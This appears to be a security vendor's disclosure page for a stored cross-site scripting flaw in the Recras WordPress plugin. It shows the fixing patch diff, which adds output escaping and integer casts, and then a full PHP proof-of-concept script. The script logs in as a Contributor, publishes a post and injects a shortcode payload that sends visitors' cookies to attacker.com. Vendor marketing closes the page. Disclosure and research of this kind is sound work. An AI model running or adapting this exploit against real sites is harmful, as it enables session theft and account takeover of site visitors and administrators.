+            <?= esc_html($recras_packages); ?>
+        <?php } elseif(is_array($recras_packages)) { ?>
             <select id="arrangement_id" required>
             <?php
-                foreach ($arrangements as $ID => $arrangement) {
-                    if (!$arrangement->mag_beschikbaarheidskalender_api) {
+                foreach ($recras_packages as $recras_package_id => $recras_package) {
+                    if (!$recras_package->mag_beschikbaarheidskalender_api) {
                         continue;
                     }
                 ?>
-                <option value="<?= $ID; ?>"><?= $arrangement->arrangement; ?>
+                <option value="<?= esc_html($recras_package_id); ?>"><?= esc_html($recras_package->arrangement); ?>
                 <?php
                 }
                 ?>
             </select>
         <?php } ?>
-    <dt><label for="auto_resize"><?php _e('Automatic resize?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="auto_resize"><?php esc_html_e('Automatic resize?', 'recras'); ?></label>
         <dd><input type="checkbox" id="auto_resize" checked>
 </dl>
-<button class="button button-primary" id="arrangement_submit"><?php _e('Insert shortcode', RecrasPlugin::TEXT_DOMAIN); ?></button>
+<button class="button button-primary" id="arrangement_submit"><?php esc_html_e('Insert shortcode', 'recras'); ?></button>

 <script>
     document.getElementById('arrangement_submit').addEventListener('click', function(){
-        let shortcode = '[<?= RecrasAvailability::SHORTCODE; ?> id="' + document.getElementById('arrangement_id').value + '"';
+        let shortcode = '[<?= esc_js(RecrasAvailability::SHORTCODE); ?> id="' + document.getElementById('arrangement_id').value + '"';
         if (!document.getElementById('auto_resize').checked) {
             shortcode += ' autoresize=0';
         }
--- a/recras/editor/form-product.php
+++ b/recras/editor/form-product.php
@@ -1,43 +1,43 @@
 <?php
-$instance = RecrasSettings::getInstance();
-if (!$instance) {
+$recras_instance = RecrasSettings::getInstance();
+if (!$recras_instance) {
     RecrasSettings::errorNoRecrasName();
     return;
 }

-$model = new RecrasProducts();
-$products = $model->getProducts($instance);
+$recras_products_model = new RecrasProducts();
+$recras_products = $recras_products_model->getProducts($recras_instance);
 ?>

 <dl>
-    <dt><label for="product_id"><?php _e('Product', RecrasPlugin::TEXT_DOMAIN); ?></label>
-    <dd><?php if (is_string($products)) { ?>
+    <dt><label for="product_id"><?php esc_html_e('Product', 'recras'); ?></label>
+    <dd><?php if (is_string($recras_products)) { ?>
             <input type="number" id="product_id" min="0" required>
-            <?= $products; ?>
-        <?php } elseif(is_array($products)) { ?>
+            <?= esc_html($recras_products); ?>
+        <?php } elseif(is_array($recras_products)) { ?>
             <select id="product_id" required>
-            <?php foreach ($products as $ID => $product) { ?>
-                <option value="<?= $ID; ?>"><?= $product->weergavenaam ? $product->weergavenaam : $product->naam; ?>
+            <?php foreach ($recras_products as $recras_product_id => $recras_product) { ?>
+                <option value="<?= esc_html($recras_product_id); ?>"><?= esc_html($recras_product->weergavenaam ?: $recras_product->naam); ?>
             <?php } ?>
             </select>
         <?php } ?>
-    <dt><label for="show_what"><?php _e('Show what?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="show_what"><?php esc_html_e('Show what?', 'recras'); ?></label>
     <dd><select id="show_what" required>
-            <option value="title"><?php _e('Title', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="description"><?php _e('Description (short)', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="description_long"><?php _e('Description (long)', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="duration"><?php _e('Duration', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="image_tag"><?php _e('Image tag', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="image_url"><?php _e('Image URL', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="minimum_amount"><?php _e('Minimum amount', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="price_incl_vat"><?php _e('Price (incl. VAT)', RecrasPlugin::TEXT_DOMAIN); ?>
+            <option value="title"><?php esc_html_e('Title', 'recras'); ?>
+            <option value="description"><?php esc_html_e('Description (short)', 'recras'); ?>
+            <option value="description_long"><?php esc_html_e('Description (long)', 'recras'); ?>
+            <option value="duration"><?php esc_html_e('Duration', 'recras'); ?>
+            <option value="image_tag"><?php esc_html_e('Image tag', 'recras'); ?>
+            <option value="image_url"><?php esc_html_e('Image URL', 'recras'); ?>
+            <option value="minimum_amount"><?php esc_html_e('Minimum amount', 'recras'); ?>
+            <option value="price_incl_vat"><?php esc_html_e('Price (incl. VAT)', 'recras'); ?>
         </select>
 </dl>
-<button class="button button-primary" id="product_submit"><?php _e('Insert shortcode', RecrasPlugin::TEXT_DOMAIN); ?></button>
+<button class="button button-primary" id="product_submit"><?php esc_html_e('Insert shortcode', 'recras'); ?></button>

 <script>
     document.getElementById('product_submit').addEventListener('click', function(){
-        const shortcode = '[<?= RecrasProducts::SHORTCODE; ?> id="' +
+        const shortcode = '[<?= esc_js(RecrasProducts::SHORTCODE); ?> id="' +
             document.getElementById('product_id').value + '" show="' +
             document.getElementById('show_what').value + '"]';

--- a/recras/editor/form-voucher-info.php
+++ b/recras/editor/form-voucher-info.php
@@ -1,38 +1,38 @@
 <?php
-$instance = RecrasSettings::getInstance();
-if (!$instance) {
+$recras_instance = RecrasSettings::getInstance();
+if (!$recras_instance) {
     RecrasSettings::errorNoRecrasName();
     return;
 }

-$model = new RecrasVouchers();
-$templates = $model->getTemplates($instance);
+$recras_vouchers_model = new RecrasVouchers();
+$recras_voucher_templates = $recras_vouchers_model->getTemplates($recras_instance);
 ?>

 <dl>
-    <dt><label for="template_id"><?php _e('Template', RecrasPlugin::TEXT_DOMAIN); ?></label>
-    <dd><?php if (is_string($templates)) { ?>
+    <dt><label for="template_id"><?php esc_html_e('Template', 'recras'); ?></label>
+    <dd><?php if (is_string($recras_voucher_templates)) { ?>
             <input type="number" id="template_id" min="0" required>
-            <?= $templates; ?>
-        <?php } elseif (is_array($templates)) { ?>
+            <?= esc_html($recras_voucher_templates); ?>
+        <?php } elseif (is_array($recras_voucher_templates)) { ?>
             <select id="template_id" required>
-                <?php foreach ($templates as $ID => $template) { ?>
-                <option value="<?= $ID; ?>"><?= $template->name; ?>
+                <?php foreach ($recras_voucher_templates as $recras_vt_id => $recras_voucher_template) { ?>
+                <option value="<?= esc_html($recras_vt_id); ?>"><?= esc_html($recras_voucher_template->name); ?>
                 <?php } ?>
             </select>
         <?php } ?>
-    <dt><label for="show_what"><?php _e('Show what?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="show_what"><?php esc_html_e('Show what?', 'recras'); ?></label>
     <dd><select id="show_what" required>
-            <option value="name"><?php _e('Name', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="price"><?php _e('Price', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="validity"><?php _e('Validity', RecrasPlugin::TEXT_DOMAIN); ?>
+            <option value="name"><?php esc_html_e('Name', 'recras'); ?>
+            <option value="price"><?php esc_html_e('Price', 'recras'); ?>
+            <option value="validity"><?php esc_html_e('Validity', 'recras'); ?>
         </select>
 </dl>
-<button class="button button-primary" id="voucher_submit"><?php _e('Insert shortcode', RecrasPlugin::TEXT_DOMAIN); ?></button>
+<button class="button button-primary" id="voucher_submit"><?php esc_html_e('Insert shortcode', 'recras'); ?></button>

 <script>
     document.getElementById('voucher_submit').addEventListener('click', function(){
-        let shortcode = '[<?= RecrasVouchers::SHORTCODE_INFO; ?>';
+        let shortcode = '[<?= esc_js(RecrasVouchers::SHORTCODE_INFO); ?>';
         shortcode += ' id="' + document.getElementById('template_id').value + '"';
         shortcode += ' show="' + document.getElementById('show_what').value + '"';
         shortcode += ']';
--- a/recras/editor/form-voucher-sales.php
+++ b/recras/editor/form-voucher-sales.php
@@ -1,50 +1,50 @@
 <?php
-$instance = RecrasSettings::getInstance();
-if (!$instance) {
+$recras_instance = RecrasSettings::getInstance();
+if (!$recras_instance) {
     RecrasSettings::errorNoRecrasName();
     return;
 }

-$model = new RecrasVouchers();
-$templates = $model->getTemplates($instance);
+$recras_vts_model = new RecrasVouchers();
+$recras_vts = $recras_vts_model->getTemplates($recras_instance);
 ?>

 <dl>
-    <dt><label for="template_id"><?php _e('Template', RecrasPlugin::TEXT_DOMAIN); ?></label>
-    <dd><?php if (is_string($templates)) { ?>
+    <dt><label for="template_id"><?php esc_html_e('Template', 'recras'); ?></label>
+    <dd><?php if (is_string($recras_vts)) { ?>
             <input type="number" id="template_id" min="0">
-            <?= $templates; ?>
-        <?php } elseif(is_array($templates)) { ?>
+            <?= esc_html($recras_vts); ?>
+        <?php } elseif(is_array($recras_vts)) { ?>
             <select id="template_id" required>
-                <option value="0"><?php _e('No pre-filled template', RecrasPlugin::TEXT_DOMAIN); ?>
-                <?php foreach ($templates as $ID => $template) { ?>
-                <option value="<?= $ID; ?>"><?= $template->name; ?>
+                <option value="0"><?php esc_html_e('No pre-filled template', 'recras'); ?>
+                <?php foreach ($recras_vts as $recras_voucher_template_id => $recras_voucher_template) { ?>
+                <option value="<?= esc_html($recras_voucher_template_id); ?>"><?= esc_html($recras_voucher_template->name); ?>
                 <?php } ?>
             </select>
         <?php } ?>
-    <dt><label for="redirect_page"><?php _e('Thank-you page', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="redirect_page"><?php esc_html_e('Thank-you page', 'recras'); ?></label>
     <dd><select id="redirect_page">
-            <option value=""><?php _e("Don't redirect", RecrasPlugin::TEXT_DOMAIN); ?>
-            <optgroup label="<?php _e('Pages', RecrasPlugin::TEXT_DOMAIN); ?>">
+            <option value=""><?php esc_html_e("Don't redirect", 'recras'); ?>
+            <optgroup label="<?php esc_html_e('Pages', 'recras'); ?>">
                 <?php foreach (get_pages() as $page) { ?>
-                <option value="<?= get_permalink($page->ID); ?>"><?= htmlspecialchars($page->post_title); ?>
+                <option value="<?= esc_html(get_permalink($page->ID)); ?>"><?= esc_html($page->post_title); ?>
                 <?php } ?>
             </optgroup>
-            <optgroup label="<?php _e('Posts', RecrasPlugin::TEXT_DOMAIN); ?>">
+            <optgroup label="<?php esc_html_e('Posts', 'recras'); ?>">
                 <?php foreach (get_posts() as $post) { ?>
-                <option value="<?= get_permalink($post->ID); ?>"><?= htmlspecialchars($post->post_title); ?>
+                <option value="<?= esc_html(get_permalink($post->ID)); ?>"><?= esc_html($post->post_title); ?>
                 <?php } ?>
             </optgroup>
         </select>
-    <dt><label for="show_quantity"><?php _e('Show quantity input (will be set to 1 if not shown)', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="show_quantity"><?php esc_html_e('Show quantity input (will be set to 1 if not shown)', 'recras'); ?></label>
     <dd><input type="checkbox" id="show_quantity" checked>
 </dl>
-<button class="button button-primary" id="voucher_submit"><?php _e('Insert shortcode', RecrasPlugin::TEXT_DOMAIN); ?></button>
+<button class="button button-primary" id="voucher_submit"><?php esc_html_e('Insert shortcode', 'recras'); ?></button>

 <script>
     document.getElementById('voucher_submit').addEventListener('click', function(){
         const templateID = document.getElementById('template_id').value;
-        let shortcode = '[<?= RecrasVouchers::SHORTCODE_SALES; ?>';
+        let shortcode = '[<?= esc_js(RecrasVouchers::SHORTCODE_SALES); ?>';

         if (templateID !== '0') {
             shortcode += ' id="' + templateID + '"';
--- a/recras/recras-wordpress-plugin.php
+++ b/recras/recras-wordpress-plugin.php
@@ -1,8 +1,8 @@
 <?php
 /*
-Plugin Name: Recras WordPress Plugin
-Plugin URI: https://www.recras.nl/
-Version: 6.4.1
+Plugin Name: Recras
+Plugin URI: https://www.recras.com/
+Version: 6.4.2
 Description: Easily integrate your Recras data into your own site
 Requires at least: 6.7
 Requires PHP: 7.4.0
--- a/recras/src/Arrangement.php
+++ b/recras/src/Arrangement.php
@@ -18,10 +18,10 @@
         }

         if (empty($attributes['id'])) {
-            return __('Error: no ID set', Plugin::TEXT_DOMAIN);
+            return __('Error: no ID set', 'recras');
         }
         if (!ctype_digit($attributes['id']) && !is_int($attributes['id'])) {
-            return __('Error: ID is not a number', Plugin::TEXT_DOMAIN);
+            return __('Error: ID is not a number', 'recras');
         }
         $showProperty = self::SHOW_DEFAULT;
         if (isset($attributes['show']) && in_array($attributes['show'], self::getValidOptions())) {
@@ -35,11 +35,13 @@

         $json = self::getPackage($instance, $attributes['id']);
         if (isset($json->error, $json->message)) {
-            return sprintf(__('Error: %s', Plugin::TEXT_DOMAIN), $json->message);
+            /* translators: Error message */
+            return sprintf(__('Error: %s', 'recras'), $json->message);
         }
         if (is_null($json) || $json == new stdClass()) { // comparing with === does not work
             return sprintf(
-                __('Error: Package %d does not exist or may not be presented on a website', Plugin::TEXT_DOMAIN),
+                /* translators: Package ID */
+                __('Error: Package %d does not exist or may not be presented on a website', 'recras'),
                 $attributes['id']
             );
         }
@@ -76,7 +78,7 @@
                 $lines = self::getFilteredLines($json);

                 if (count($lines) === 0) {
-                    return __('Error: programme is empty', Plugin::TEXT_DOMAIN);
+                    return __('Error: programme is empty', 'recras');
                 }

                 $startTime = (isset($attributes['starttime']) ? $attributes['starttime'] : '00:00');
@@ -85,7 +87,7 @@
             case 'title':
                 return '<span class="recras-title">' . self::displayname($json) . '</span>';
             default:
-                return __('Error: unknown option', Plugin::TEXT_DOMAIN);
+                return __('Error: unknown option', 'recras');
         }
     }

@@ -169,7 +171,7 @@

         if ($showHeader) {
             $html .= '<thead>';
-            $html .= '<tr><th>' . __('From', Plugin::TEXT_DOMAIN) . '<th>' . __('Until', Plugin::TEXT_DOMAIN) . '<th>' . __('Activity', Plugin::TEXT_DOMAIN);
+            $html .= '<tr><th>' . __('From', 'recras') . '<th>' . __('Until', 'recras') . '<th>' . __('Activity', 'recras');
             $html .= '</thead>';
         }

@@ -209,7 +211,8 @@
             $startFormatted = $lineDate->format('H:i');
             if ($isMultiDay && (is_null($lastDate) || $lineDate->format('Ymd') > $lastDate->format('Ymd'))) {
                 ++$day;
-                $html .= '<tr class="recras-new-day"><th colspan="3">' . sprintf(__('Day %d', Plugin::TEXT_DOMAIN), $day);
+                /* translators: Day number */
+                $html .= '<tr class="recras-new-day"><th colspan="3">' . sprintf(__('Day %d', 'recras'), $day);
             }

             $html .= '<tr><td>' . $startFormatted;
@@ -272,7 +275,8 @@
         $form = ContactForm::getForm($instance, $contactformID);
         if (is_string($form)) {
             // Not a form, but an error
-            return sprintf(__('Error: %s', Plugin::TEXT_DOMAIN), $form);
+            /* translators: Error message */
+            return sprintf(__('Error: %s', 'recras'), $form);
         }

         $packages = [];
@@ -307,7 +311,7 @@
     {
         $lines = self::getFilteredLines($json);
         if (count($lines) === 0) {
-            return __('No duration specified', Plugin::TEXT_DOMAIN);
+            return __('No duration specified', 'recras');
         }

         $firstLine = min(array_map(function ($line) {
@@ -348,7 +352,7 @@
         if (isset($json->ontvangstlocatie)) {
             $location = $json->ontvangstlocatie;
         } else {
-            $location = __('No location specified', Plugin::TEXT_DOMAIN);
+            $location = __('No location specified', 'recras');
         }
         return '<span class="recras-location">' . $location . '</span>';
     }
--- a/recras/src/Availability.php
+++ b/recras/src/Availability.php
@@ -17,10 +17,10 @@
         }

         if (empty($attributes['id'])) {
-            return __('Error: no ID set', Plugin::TEXT_DOMAIN);
+            return __('Error: no ID set', 'recras');
         }
         if (!ctype_digit($attributes['id']) && !is_int($attributes['id'])) {
-            return __('Error: ID is not a number', Plugin::TEXT_DOMAIN);
+            return __('Error: ID is not a number', 'recras');
         }

         $instance = Settings::getInstance($attributes);
--- a/recras/src/Bookprocess.php
+++ b/recras/src/Bookprocess.php
@@ -84,21 +84,22 @@
         }

         if (empty($attributes['id'])) {
-            return __('Error: no ID set', Plugin::TEXT_DOMAIN);
+            return __('Error: no ID set', 'recras');
         }

         if (!ctype_digit($attributes['id']) && !is_int($attributes['id'])) {
-            return __('Error: ID is not a number', Plugin::TEXT_DOMAIN);
+            return __('Error: ID is not a number', 'recras');
         }

         $processes = self::getProcesses($instance);
         if (is_string($processes)) {
             // Not a form, but an error
-            return sprintf(__('Error: %s', Plugin::TEXT_DOMAIN), $processes);
+            /* translators: Error message */
+            return sprintf(__('Error: %s', 'recras'), $processes);
         }

         if (!isset($processes[$attributes['id']])) {
-            return __('Error: book process does not exist', Plugin::TEXT_DOMAIN);
+            return __('Error: book process does not exist', 'recras');
         }

         $initialWidgetValueHtml = '';
--- a/recras/src/ContactForm.php
+++ b/recras/src/ContactForm.php
@@ -52,10 +52,10 @@
         }

         if (empty($attributes['id'])) {
-            return __('Error: no ID set', Plugin::TEXT_DOMAIN);
+            return __('Error: no ID set', 'recras');
         }
         if (!ctype_digit($attributes['id']) && !is_int($attributes['id'])) {
-            return __('Error: ID is not a number', Plugin::TEXT_DOMAIN);
+            return __('Error: ID is not a number', 'recras');
         }

         $instance = Settings::getInstance($attributes);
@@ -67,11 +67,13 @@
         $form = self::getForm($instance, $attributes['id']);
         if (is_string($form)) {
             // Not a form, but an error
-            return sprintf(__('Error: %s', Plugin::TEXT_DOMAIN), $form);
+            /* translators: Error message */
+            return sprintf(__('Error: %s', 'recras'), $form);
         }

         if (!property_exists($form, 'naam') || !property_exists($form, 'Velden')) {
-            return sprintf(__('Error: %s', Plugin::TEXT_DOMAIN), __('Contact form might be deleted', Plugin::TEXT_DOMAIN));
+            /* translators: Error message */
+            return sprintf(__('Error: %s', 'recras'), __('Contact form might be deleted', 'recras'));
         }

         $formTitle = $form->naam;
@@ -96,12 +98,10 @@

         $arrangementID = isset($attributes['arrangement']) ? $attributes['arrangement'] : null;
         if (!$arrangementID && isset($_GET['package'])) {
-            $arrangementID = $_GET['package'];
+            $arrangementID = (int) $_GET['package'];
         }

         if ($arrangementID) {
-            $arrangementID = (int) $arrangementID;
-
             // Check if the contact form supports setting a package
             $fieldFound = false;
             foreach ($formFields as $field) {
@@ -110,11 +110,11 @@
                 }
             }
             if (!$fieldFound) {
-                return __('Error: package is set, but contact form does not support packages', Plugin::TEXT_DOMAIN);
+                return __('Error: package is set, but contact form does not support packages', 'recras');
             }
         }

-        $submitText = __('Send', Plugin::TEXT_DOMAIN);
+        $submitText = __('Send', 'recras');
         if (isset($attributes['submittext'])) {
             $submitText = $attributes['submittext'];
         }
@@ -122,7 +122,7 @@
         $redirect = false;
         if (isset($attributes['redirect'])) {
             if (!filter_var($attributes['redirect'], FILTER_VALIDATE_URL)) {
-                return __('Error: redirect is set, but is an invalid URL', Plugin::TEXT_DOMAIN);
+                return __('Error: redirect is set, but is an invalid URL', 'recras');
             }
             $redirect = $attributes['redirect'];
         }
@@ -265,7 +265,7 @@
                             'class' => 'recras-input-date',
                             'min' => date('Y-m-d'),
                             'pattern' => self::PATTERN_DATE,
-                            'placeholder' => __('yyyy-mm-dd', Plugin::TEXT_DOMAIN),
+                            'placeholder' => __('yyyy-mm-dd', 'recras'),
                             'type' => 'date',
                         ]);
                     break;
@@ -282,7 +282,7 @@
                     $html .= self::generateSubTag($options['element']) . self::generateInput($field, [
                             'class' => 'recras-input-time',
                             'pattern' => self::PATTERN_TIME,
-                            'placeholder' => __('hh:mm', Plugin::TEXT_DOMAIN),
+                            'placeholder' => __('hh:mm', 'recras'),
                             'type' => 'time',
                         ]);
                     break;
@@ -307,7 +307,7 @@
                                     'maxlength' => 10,
                                 ],
                                 'pattern' => self::PATTERN_DATE,
-                                'placeholder' => __('yyyy-mm-dd', Plugin::TEXT_DOMAIN),
+                                'placeholder' => __('yyyy-mm-dd', 'recras'),
                                 'type' => 'date',
                             ]);
                             break;
@@ -344,14 +344,14 @@
                     }

                     require_once(__DIR__ . '/countries/' . $locale . '.php');
-                    assert(is_array($countries));
+                    assert(is_array($recras_countries));

                     $selectOptions = [];
-                    if (isset($countryCode) && array_key_exists($countryCode, $countries)) {
+                    if (isset($countryCode) && array_key_exists($countryCode, $recras_countries)) {
                         $selectOptions['selected'] = $countryCode;
                     }

-                    $html .= self::generateSubTag($options['element']) . self::generateSelect($field, $countries, $selectOptions);
+                    $html .= self::generateSubTag($options['element']) . self::generateSelect($field, $recras_countries, $selectOptions);
                     break;
                 //contact.soort_klant is handled below
                 case 'contactpersoon.email1':
@@ -373,9 +373,9 @@
                     break;
                 case 'contactpersoon.geslacht':
                     $html .= self::generateSubTag($options['element']) . self::generateSingleChoice($field, [
-                        'onbekend' => __('Unknown', Plugin::TEXT_DOMAIN),
-                        'man' => __('Male', Plugin::TEXT_DOMAIN),
-                        'vrouw' => __('Female', Plugin::TEXT_DOMAIN),
+                        'onbekend' => __('Unknown', 'recras'),
+                        'man' => __('Male', 'recras'),
+                        'vrouw' => __('Female', 'recras'),
                     ], [
                         'element' => $options['singleChoiceElement'],
                         'placeholder' => $options['placeholders'],
@@ -511,7 +511,7 @@
         }
         $html .= '<label for="field' . $field->id . '">' . $field->naam;
         if ($field->verplicht) {
-            $html .= '<span class="recras-required" aria-label="' . __('(required)', Plugin::TEXT_DOMAIN) . '">*</span>';
+            $html .= '<span class="recras-required" aria-label="' . __('(required)', 'recras') . '">*</span>';
         }
         $html .= '</label>';

@@ -536,7 +536,7 @@
         }

         if (!$field->verplicht) {
-            $html .= '<button type="button" class="clearRadioChoice">' . __('Clear choice', Plugin::TEXT_DOMAIN) . '</button>';
+            $html .= '<button type="button" class="clearRadioChoice">' . __('Clear choice', 'recras') . '</button>';
         }

         return $html;
--- a/recras/src/Elementor/Bookprocess.php
+++ b/recras/src/Elementor/Bookprocess.php
@@ -14,7 +14,7 @@

     public function get_title(): string
     {
-        return __('Book process', Plugin::TEXT_DOMAIN);
+        return __('Book process', 'recras');
     }

     public function get_icon(): string
@@ -32,7 +32,7 @@
         $this->start_controls_section(
             'content',
             [
-                'label' => __('Book process', Plugin::TEXT_DOMAIN),
+                'label' => __('Book process', 'recras'),
                 'tab' => ElementorControls_Manager::TAB_CONTENT,
             ],
         );
@@ -42,7 +42,7 @@
             'bp_id',
             [
                 'type' => ElementorControls_Manager::SELECT2,
-                'label' => __('Book process', Plugin::TEXT_DOMAIN),
+                'label' => __('Book process', 'recras'),
                 'options' => $options,
                 'default' => count($options) === 1 ? reset($options) : null,
             ]
@@ -58,7 +58,7 @@
             'initial_widget_value',
             [
                 'type' => ElementorControls_Manager::TEXT,
-                'label' => __('Prefill value for first widget? (optional)', Plugin::TEXT_DOMAIN),
+                'label' => __('Prefill value for first widget? (optional)', 'recras'),
                 'condition' => [
                     'bp_id' => array_map(function ($id) {
                         return (string) $id;
@@ -71,7 +71,7 @@
             'hide_first_widget',
             [
                 'type' => ElementorControls_Manager::SWITCHER,
-                'label' => __('Hide first widget?', Plugin::TEXT_DOMAIN),
+                'label' => __('Hide first widget?', 'recras'),
                 'condition' => [
                     'initial_widget_value!' => '',
          

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13497 - Recras WordPress plugin <= 6.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'recrasname' Shortcode Attribute

<?php
/**
 * Proof of Concept for CVE-2025-13497.
 * This script simulates an authenticated Contributor+ user injecting a malicious shortcode.
 * Replace $target_url, $username, and $password with valid credentials.
 * The script logs in, creates a new post, and injects a shortcode with a malicious 'recrasname' attribute.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload: JavaScript that creates an alert and exfiltrates cookies.
$malicious_recrasname = '"><script>alert(document.domain);fetch('http://attacker.com/steal?c='+document.cookie);</script>';

// The shortcode structure may vary. This example targets a vulnerable shortcode attribute.
$malicious_shortcode = '[recras_arrangement recrasname="' . $malicious_recrasname . '" id="1" show="title"]';

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Get the login page to retrieve the nonce.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);

preg_match('/name="log"[^>]*>/', $login_page, $matches); // Simple match for form.
// In a real scenario, you would parse for the _wpnonce or similar security token.

// Step 2: Perform login.
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$login_response = curl_exec($ch);

// Check for successful login by looking for dashboard indicators.
if (strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Step 3: Create a new post with the malicious shortcode.
// First, get the post creation page and nonce.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_HTTPGET, true);
$post_page = curl_exec($ch);

// Extract the nonce for creating a post. This regex is simplified.
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Step 4: Submit the post.
$post_data = [
    'post_title' => 'Test Post with XSS',
    'content' => $malicious_shortcode,
    'publish' => 'Publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'post_type' => 'post'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$post_response = curl_exec($ch);

if (strpos($post_response, 'Post published') !== false) {
    echo "[+] Malicious post created successfully.n";
    echo "[+] Shortcode injected: $malicious_shortcoden";
    echo "[+] Visit the post to trigger the XSS.n";
} else {
    echo "[-] Post creation may have failed.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School